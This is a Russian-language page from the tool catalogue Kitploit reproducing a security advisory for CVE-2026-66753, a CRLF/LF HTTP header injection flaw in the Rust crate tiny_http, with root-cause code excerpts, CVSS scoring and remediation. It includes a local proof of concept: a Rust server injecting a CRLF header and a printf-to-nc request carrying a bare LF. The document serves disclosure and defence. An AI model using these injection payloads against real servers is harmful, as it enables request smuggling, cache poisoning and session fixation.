Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — Уведомление о безопасности: инъекция в HTTP-заголовки через непроверенные символы CR и LF в значениях заголовков (tiny_http) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
Анализ уязвимостейАнализ КодаВеб-безопасностьОбучение и ОбразованиеПодобранные Ресурсы
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

Уведомление о безопасности: инъекция в HTTP-заголовки через непроверенные символы CR и LF в значениях заголовков (tiny_http)

Репозиторий
41 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уведомление об уязвимости: внедрение в HTTP-заголовки через непроверенные CR и LF в значениях заголовков (tiny_http)

Присвоенный идентификатор CVE: CVE-2026-66753

Краткое описание

tiny_http не отклоняет символы возврата каретки (CR) и перевода строки (LF) внутри значений HTTP-заголовков в обоих направлениях.

На стороне запроса read_next_line завершает строку заголовка только на CRLF, поэтому одиночный LF сохраняется внутри разобранного значения и доходит до приложения. На стороне ответа Header::from_bytes проверяет только то, что байты являются ASCII, а модуль записи ответа выводит значения без изменений, поэтому значение, содержащее CRLF, разделяет ответ.

Поэтому приложения, которые отражают значение заголовка запроса в заголовке ответа или повторно сериализуют заголовки запроса на другое соединение, наследуют примитив внедрения без каких-либо признаков того, что что-то не так.

Затронутые версии

URL репозитория: https://github.com/tiny-http/tiny-http

Затронутывсе выпущенные версии вплоть до 0.12.0 включительно (2022-10-06), текущий релиз
Подтверждено0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
Исправлено вна момент написания исправленной версии нет

Это отличается от RUSTSEC-2020-0031 / CVE-2020-35884, который касался разбора Transfer-Encoding и был исправлен в версиях 0.6.3 и 0.8.0. Описанное здесь поведение присутствует как до, так и после этого исправления.

Степень серьёзности

CWE-113 (Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках), частный случай CWE-93 (CRLF-инъекция).

Базовый балл CVSS 4.0: 6.3 (средний) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Модель угроз

Удалённый неаутентифицированный клиент, отправляющий необработанный HTTP на любой сервер tiny_http. Без учётных данных и взаимодействия с пользователем.

Два типа потребителей превращают это в уязвимость:

Приложения, которые копируют значение заголовка запроса в заголовок ответа. Это паттерн отражения, лежащий в основе повторения источника CORS, заголовков Location, создаваемых из данных запроса, и обработки cookie. Одиночный LF в значении запроса попадает в ответ, и если приложение само формирует значение ответа, оно может содержать полный CRLF.

Приложения, которые повторно сериализуют заголовки запроса на другое соединение, например обратный прокси. Одиночный LF записывается в вышестоящий запрос, и бэкенды, которые рассматривают одиночный LF как признак конца строки заголовка, читают один запрос как два. RFC 9112, раздел 2.2, разрешает получателям делать это, поэтому такие бэкенды находятся в рамках спецификации. Было проверено, что и Go net/http, и Python http.server принимают это.

Корневая причина

Сторона запроса

tiny_http-0.12.0/src/client.rs, строки 80–102. Цикл завершается только тогда, когда перед LF находится CR. Любой другой байт, включая одиночный LF или одиночный CR, помещается в буфер строки в строке 100:

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF — это 0x0A, а CR — 0x0D, оба являются допустимым ASCII, поэтому AsciiString::from_ascii в строке 94 принимает их.

Затем tiny_http-0.12.0/src/common.rs, строки 184–191, только обрезает значение. trim удаляет начальные и конечные пробелы, но оставляет внутренние байты нетронутыми:

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Пара CRLF не может сохраниться, поскольку она завершает строку, а вот одиночный LF, одиночный CR и последовательности вида \n\r сохраниться могут.

Сторона ответа

tiny_http-0.12.0/src/common.rs, строки 166–172, проверяет только ASCII:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs, строки 99–104, записывает значение без экранирования:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Обратите внимание: HeaderField::from_str в строке 226 отклоняет пробелы в имени поля, а HeaderField::from_bytes в строке 171 — нет, поэтому имена заголовков ответа также не проверяются.

Доказательство концепции

Шаг 1. Запустите сервер, который выводит разобранное значение заголовка запроса и вставляет значение, содержащее CRLF, в заголовок ответа.

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

Шаг 2. Отправьте запрос, значение X-Test которого содержит одиночный LF. В команде ниже \n — один перевод строки, а \r\n — CRLF. Различие — в этом суть теста, поэтому не позволяйте редактору нормализовать его.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

Результат в stdout. LF всё ещё находится внутри разобранного значения:

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

Результат в сетевом трафике. Заголовок ответа разделился на два:

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

Воздействие

Сам по себе tiny_http не перенаправляет заголовки запроса, поэтому поведение на стороне запроса — это латентный примитив, а не прямое нарушение безопасности. Оно становится эксплуатируемым в любом потребителе, который пересылает или отражает значения заголовков, где приводит к контрабанде запросов через бэкенды, принимающие одиночный LF, или к внедрению заголовков в ответ.

Поведение на стороне ответа напрямую эксплуатируемо в любом приложении, которое помещает текст, контролируемый атакующим, в значение заголовка: внедрение скриптов в контексте источника (origin), отравление кэша, фиксация сессии через внедрённый Set-Cookie и переопределение заголовков безопасности.

Для сравнения, крейт http отклоняет CR и LF в HeaderValue::from_str, поэтому стеки, построенные на нём, не проявляют ни одного из этих поведений.

Устранение

Отклоняйте управляющие символы на обеих границах.

В read_next_line (src/client.rs, строка 80) обрабатывайте одиночный CR или одиночный LF в строке заголовка как ошибку протокола и возвращайте 400, а не включайте его в значение. Альтернативно отклоняйте их в Header::from_str (src/common.rs, строка 184) после разделения.

В Header::from_bytes (src/common.rs, строка 166) отклоняйте значения, содержащие 0x0D, 0x0A или 0x00, и отклоняйте имена полей, содержащие что-либо вне набора токенов RFC 9110. Возврат Err там уже обрабатывается вызывающим кодом, поскольку сигнатура допускает ошибку.

Скачать инструмент